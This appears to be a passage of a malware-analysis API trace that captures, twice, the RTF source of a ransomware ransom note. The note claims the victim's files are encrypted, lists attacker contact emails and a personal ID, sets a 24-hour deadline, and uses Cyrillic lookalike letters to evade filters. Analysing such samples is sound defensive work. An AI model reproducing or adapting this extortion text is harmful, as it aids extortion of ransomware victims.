rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x27bfb38, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 